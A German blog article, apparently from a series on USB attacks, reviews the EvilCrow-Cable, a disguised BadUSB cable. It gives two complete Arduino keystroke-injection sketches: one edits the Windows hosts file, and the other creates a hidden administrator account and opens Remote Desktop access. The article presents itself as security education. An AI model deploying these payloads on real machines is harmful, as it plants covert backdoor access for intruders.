Das EvilCrow-Cable sieht zwar aus wie normales USB-Kabel, welches zum Beispiel zum Laden eines Handys an einem Rechner verwendet werden kann, jedoch befindet sich im Inneren des Steckers ein spezieller Chip, der eine virtuelle Tastatur simulieren kann. Damit lassen sich unauffällig BadUSB-Angriffe durchführen. Das Tool kann bequem über die Arduino IDE programmiert werden.
Das BadUSB-Kabel ist komplett in Schwarz gehalten. Auf der einen Seite befindet sich ein Micro-USB-Stecker und auf der anderen Seite ist ein USB-A-Stecker angebracht. Trotz des integrierten Chips ist der Stecker nicht größer als ein Standardstecker. Das Kabel hat eine Länge von ca. 50 cm. Außer den USB-Piktogrammen auf beiden Steckern sind keine weiteren Markierungen angebracht. Das EvilCrow-Cable lässt sich somit optisch nicht von einem normalen USB-Kabel unterscheiden.
Das BadUSB-Kabel nutzt den weitverbreiteten Attiny85-Mikrocontroller, damit stehen 8 kByte Flashspeicher, 512 Bytes EEPROM und 512 Bytes SRAM zur Verfügung. Derselbe Chip wird übrigens auch beim Digispark verwendet. Die Entwicklung des BadUSB-Kabels wird auf der GitHub Seite von Joel Serna Moreno beschrieben.
Einrichtung
Mit der Verwendung des Attiny85-Mikrocontrollers ist das EvilCrow-Cable kompatibel mit dem Digispark. Dadurch greift das Projekt auf die vorhandenen Treiber und Board-Konfigurationen in der Arduino IDE zurück. Daher kann zur Einrichtung einfach den Schritten, die ich im Artikel „Digispark – günstiges BadUSB Device“ beschrieben habe, gefolgt werden.
Programmierung
Die Programmierung des EvilCrow-Cable erfolgt gleich wie beim Digispark in der Arduino IDE. Wer bisher noch nicht mit dem Digispark gearbeitet hat, sollte die Einführung in die Programmierung zuerst im Digispark-Artikel durcharbeiten. Ich erkläre hier nicht noch einmal die Grundsätze, sondern zeige stattdessen gleich zwei Beispiele.
Im ersten Beispiel wird die Hosts-Datei unter Windows manipuliert, um den Aufruf der Domain google.de zu blockieren. Voraussetzung ist hierfür, dass kein Passwort für die Administrationsrechte benötigt wird. Dazu wird die PowerShell unter Windows mit Adminrechten geöffnet. Hierzu verwende ich eine neue Methode, indem ich das administrative Menü mit der Tastenkombination WIN + X aufrufe. In diesem Menü kann mit der Taste A der Eintrag Windows PowerShell (Administrator) aufgerufen werden. Als Nächstes wird der Dialog der Benutzerkontosteuerung mit der Pfeiltaste nach Links und das Taste Y bestätigt. Jetzt werden mit dem Befehl Add-Content zwei Einträge in die Hosts-Datei für google.de und www.google.de hinzugefügt, die auf die lokale IP-Adresse 127.0.0.1 zeigt. Dadurch werden alle Anfragen an die lokale Adresse umgeleitet, wodurch die Domain google.de nicht mehr aufgerufen werden kann.
#include "DigiKeyboardDe.h" void setup(){ DigiKeyboardDe.delay(3000); DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboardDe.sendKeyStroke(KEY_A); DigiKeyboardDe.delay(400); DigiKeyboardDe.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboardDe.delay(400); DigiKeyboardDe.println("Add-Content -Path C:\windows\System32\drivers\etc\hosts. -Value \"127.0.0.1 google.de\""); DigiKeyboardDe.println("Add-Content -Path C:\windows\System32\drivers\etc\hosts. -Value \"127.0.0.1 www.google.de\""); DigiKeyboardDe.println("exit"); } void loop(){}
Im nächsten Beispiel wird mit dem EvilCrow-Cable ein neuer Benutzer angelegt, der der Gruppe ‚Administrators‘ hinzugefügt wird. Anschließend wird dieser neue Benutzer verbogen, damit er nicht mehr beim Log-in angezeigt wird. Danach wird einerseits der Remote Desktop Zugriff aktiviert, andererseits wird dieser in der Firewall erlaubt und zeitgleich wird der neue Benutzer der Gruppe „Remote Desktop Users“ für den Zugriff hinzugefügt.
#include "DigiKeyboardDe.h" String user = "geheimerbenutzer"; String pwd = "sicherespasswort"; void setup(){ DigiKeyboardDe.delay(3000); DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboardDe.sendKeyStroke(KEY_A); DigiKeyboardDe.delay(400); DigiKeyboardDe.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboardDe.delay(400); DigiKeyboardDe.println("net user "+user+" "+pwd+” /ADD"); DigiKeyboardDe.delay(400); DigiKeyboardDe.println("net localgroup Administrators "+user+" /ADD"); DigiKeyboardDe.delay(400); DigiKeyboardDe.println("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v "+user+" /t REG_DWORD /d 0 /f"); DigiKeyboardDe.delay(400); DigiKeyboardDe.println("reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"); DigiKeyboardDe.delay(400); DigiKeyboardDe.println("netsh advfirewall firewall set rule group=\"remote desktop\" new enable=yes"); DigiKeyboardDe.delay(400); DigiKeyboardDe.println("net localgroup \"Remote Desktop Users\" "+user+" /add"); DigiKeyboardDe.delay(400); DigiKeyboardDe.println("exit"); } void loop(){}
Durch die Popularität des Digispark gibt es auf GitHub mehrere Verzeichnisse mit Beispielcodes, die auch mit dem EvilCrow-Cable genutzt werden können:
USB Artikelserie
Dieser Artikel ist Teil der Artikelserie Angriffe per USB, die dem Themenschwerpunkt Hacking Hardware angehört. In dieser Artikelserie beschreibe ich verschiedene Arten von Angriffsmethoden über die USB-Schnittstelle, damit diese erkannt und effektive Gegenmaßnahmen getroffen werden können.
- Rubber Ducky – BadUSB Klassiker
- Digispark – günstiges BadUSB Device
- MalDuino – BadUSB mit Schalter
- Teensy – BadUSB mit Arduino
- EvilCrow-Cable – ein getarntes Angriffstool
- DSTIKE WIFI Duck – Keystroke Injection
- InputStick – drahtloser USB-Empfänger
- Cactus WHID – BadUSB mit WiFi
- USBNinja – getarnter BadUSB
- Bash Bunny – BadUSB Multitool
- P4wnP1 A.L.O.A. – BadUSB Supertool
- USB Killer – Rechner zerstören
- 12.11.2024 (Workshop) Hacking- und Pentest-Hardware Workshop, scheible.it, Böblingen (weitere Infos)